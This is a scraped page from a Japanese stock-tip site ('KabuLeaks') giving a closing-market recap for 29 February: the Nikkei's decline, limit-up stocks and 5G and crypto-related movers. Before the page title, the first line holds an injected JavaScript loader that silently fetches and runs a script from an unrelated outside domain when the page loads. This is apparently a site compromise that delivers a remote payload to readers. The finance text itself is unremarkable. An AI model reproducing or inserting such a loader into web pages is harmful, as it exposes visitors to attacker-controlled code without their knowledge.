;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/29 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/29 大引け】

本日の日経平均は161円安と反落。後場は中国株からリスク回避のドル安・円高の流れが継続。寄り付きこそ買い優勢となったが、その後は先物主導で売り優勢となり日経平均はマイナス転換。その後もリバらしいリバなく下げ幅を拡大させ安値引けとなった。業種別では、値上がりは情報・通信業、輸送用機器の2業種のみ。一方、値下がりは石油石炭製品、空運業、陸運業などが上位に並んだ。

個別では、社長が「iPhoneユウザー全員格安SIM を間もなく使えるようになります。」とのツイッターでのツイートから思惑買いの入った【9424】日本通信。米スタンフォード大と再生医療で提携することで合意との一部から【2372】アイロムHD。ニカミノルタビジネスソリューションズと資本業務提携契約を締結したと発表した【3622】ネットイヤー。東証1部に指定替えのフォーカスシステムズ【4662】フォーカスシステムズなどがストップ高となった。また、自社株買いを材料視された【6941】山一電機、【7201】日産、日本通信の急騰に連れ高する形から【9425】日本テレホンなどが大幅上昇となったほか、大幅増配の【8140】リョーサンなども買い優勢となった。

テーマ株からは「5G」関連の本命、本日ストップ高の【3852】サイバーコムを筆頭に関連銘柄の【8226】理経、【6778】アルチザネットなどが一時急伸。また、今日個人投資家達の注目を集めた仮想通貨関連(ビットコイン)の【8732】マネパは一時年初来高値更新も、先週末時点で3営業日連続のストップ高。後場の地合い悪化なども影響か後場大幅安に。

G20は通過も一定の安心感には繋がった積極的に上値を追うには材料不足。これからは主要各国の政策待ち、また今週の米雇用統計も気になるところ。今日の動きを見る限りでは今週も上海総合指数、為替の動きなどいくつもの問題に左右される不安定な地合いが継続。本格的なトレンド転換はまだ先となる可能性が高そうだ。